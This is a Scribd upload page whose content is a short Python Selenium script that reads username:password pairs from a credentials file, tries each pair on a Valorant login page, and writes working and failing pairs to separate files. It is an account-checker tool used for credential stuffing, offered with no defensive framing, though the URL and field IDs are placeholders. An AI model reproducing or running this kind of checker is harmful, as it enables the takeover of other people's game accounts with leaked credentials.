0% found this document useful (0 votes)
14 views

tool

tool for

Uploaded by

jadhavatharv766
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
14 views

tool

tool for

Uploaded by

jadhavatharv766
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1

import time

from selenium import webdriver


from selenium.webdriver.common.by import By

# File paths
input_file = "credentials.txt"
success_file = "successful.txt"
failed_file = "failed.txt"

# Initialize WebDriver (ensure you have the correct driver for your browser)
driver = webdriver.Chrome()

def login_to_valorant(username, password):


driver.get("https://your-valorant-login-url") # Replace with actual login URL

try:
# Locate username and password fields and login button
username_field = driver.find_element(By.ID, "username_field_id") # Replace
with actual ID
password_field = driver.find_element(By.ID, "password_field_id") # Replace
with actual ID
login_button = driver.find_element(By.ID, "login_button_id") # Replace
with actual ID

# Input credentials
username_field.send_keys(username)
password_field.send_keys(password)
login_button.click()

# Wait and check for successful login


time.sleep(5) # Adjust as needed
if "dashboard" in driver.current_url: # Adjust based on success indicator
return True
else:
return False
except Exception as e:
print(f"Error during login: {e}")
return False

# Main process
with open(input_file, "r") as infile, open(success_file, "w") as success,
open(failed_file, "w") as failed:
for line in infile:
username, password = line.strip().split(":")
if login_to_valorant(username, password):
success.write(f"{username}:{password}\n")
else:
failed.write(f"{username}:{password}\n")

driver.quit()

You might also like